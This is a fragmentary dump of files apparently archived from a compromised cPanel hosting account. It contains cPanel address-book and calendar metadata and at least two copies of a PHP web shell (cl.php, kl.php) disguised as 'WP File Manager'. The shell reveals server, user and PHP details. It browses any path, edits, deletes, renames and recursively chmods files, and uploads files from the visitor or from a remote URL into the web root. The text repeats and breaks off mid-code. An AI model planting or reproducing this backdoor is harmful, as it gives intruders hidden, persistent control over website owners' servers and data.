"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]ʙ 3BB$info@monopolytravel-ks.com/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 [calendar] type VCALENDAR description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 PK“&{]„N9³§Ë§Ë!info@monopolytravel-ks.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ë!info@monopolytravel-ks.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
